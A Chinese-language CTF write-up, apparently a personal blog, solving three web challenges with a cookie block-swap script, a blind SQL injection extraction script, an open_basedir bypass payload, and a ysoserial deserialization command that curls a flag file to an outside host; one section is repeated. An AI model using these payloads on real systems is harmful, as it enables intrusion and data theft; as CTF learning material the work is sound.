buu-day06

前言: 今天是废物的一天，元旦三天还是要玩一下，不要卷了。

0x01 [BSidesCF 2019]Mixer

密码web 好题，希望后面可以来复现一波

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = "https://mixer-f3834380.challenges.bsidessf.net"
action="""?action=login&first_name=A1.00000000000000&last_name=paww"""
r = requests.get(url+action, verify=False, allow_redirects=False)
for c in r.cookies:
    print(c.name, c.value)
    if c.name == "user":
        c.value = c.value[:-32] + c.value[32:64] + c.value[-32:]

resp = requests.get(url, cookies = r.cookies, verify=False, allow_redirects=False)

print resp.text

这个题目首先得了解一下CBC加密的方式

分块加密，也就是16byte为一块。也就是exp中的payload要改成

{"first_name":"A
1.00000000000000
","last_name":"x
xxx","is_admin":
0}

现在就是分别对每一块进行加密，如果我们现在把第二块换到第五块的位置，那么就变成了

{"first_name":"A
1.00000000000000
","last_name":"x
xxx","is_admin":
1.00000000000000
0}

现在就满足条件了。这也是上面的exp需要表达的意识。

0x02 [De1CTF 2019]Giftbox

直接拿着赵总的wp学爆 好吧。conda的python不支持pyopt我也不知道为什么，大家别踩坑就好了。https://www.zhaoj.in/read-6170.html#0x03Giftbox

♻️知识点

• sql注入
• php语言特性

🅰️解题1 - sql注入

打开题目是一个zsh的界面。我们发送一个请求之后开始抓包。

我还以为直接就可以拿到shell了，但是仔细观察请求，发现了一个参数totp 吓得我赶忙去百度。

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法

可以看到这个参数是加密的(废物文学，但是我们必须找到这个参数是从哪里来的，不然包都不能重放。(去找js文件。new TOTP("GAXG24JTMZXGKZBU",8).genOTP()所以这个参数我们也就可以自己生成了。

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
totp.now()

这样就可以输出获得正确的参数。我们继续收集信息。

cd ls cat hey hi hello help clear exit ~ 

这是同一个js文件的信息。

在测试的发现了还有这几条指令，我们发现这里有一个登录点，但是我们不知道账号密码，于是我们先寻找无果。于是经典sql注入?

开始fuzz。

猜测一下后端的语句难道是

$user= select * from users where username=$username;

if($user){
}
else{
}

很明显可以开始注入了。

import time
import requests
import pyotp
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
session = requests.session()
url = ""
def sql_injection(mid):
    '''
    :param mid: 输入payload
    :return: 返回是否正确 判断前后夹击的范围
    '''
    time.sleep(0.5)
    payload = f"login admin'/**/and/**/({mid})/**/and/**/'1'='1 123"
    # print(payload)
    a = session.get(url + '/shell.php',
        params={'a':payload,'totp':totp.now()}).text
    # print(a)
    if('password' in a ):
        return  True
    else:
        return  False
def gen_payload():
    '''
    生成payload
    :return:
    '''
    db_payload ="select/**/concat(password)/**/from/**/users"
    res=''
    for x in range(1,64):
        payload = f"ascii(substr(({db_payload}),{x},1))"
        res += chr(half(payload))
        print(res)
    print("[+]" + res)
def half(payload):
    '''
    二分法主体部分
    :param payload:
    :return:
    '''
    low = 0
    high = 126
    while low <= high:
        mid = (low + high) / 2
        mid_num_payload="%s/**/>/**/%d"%(payload,mid)
        if(sql_injection(mid_num_payload)):
            low = mid + 1
        else:
            high = mid -1
    mid_num = int((low + high + 1) / 2)
    return mid_num


def main():
    gen_payload()


if __name__ == '__main__':
    main()

buu的记得要设置延时，不然会被你ipban了。

后面这个命令，我们看到了双引号，所以{$a()}.懂得都懂。

最后绕过open_base

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

payload拆分一下就可以了。

0x03[网鼎杯 2020 朱雀组]Think Java

🅰️jdbc注入

第一步这里的注入是要分成两步的。

你注入的语句不能影响他正常的连接的同时还要能够注入数据。

myapp?a=1' union select pwd from user; #

这也是他们说的无用字符不生效。

admin@Rrrr_ctf_asde

🅱️java反序列化

登录成功之后不难发现，一串数据。

盲猜这个接口。

对数据进行了反序列化。然后我们应该对这个数据

https://www.cnblogs.com/h3zh1/p/12914439.html

然后用ysoserial-master.jar小何yyds

ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有不同的作用，比如rome可以命令执行，URLDNS可以进行dns回显)。

yyds!

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > dem0.bin

然后用ysoserial-master.jar小何yyds

ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有不同的作用，比如rome可以命令执行，URLDNS可以进行dns回显)。

yyds!

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > dem0.bin

第一次使用yso工具解题，做到拿到密码就不会的web废物解决了。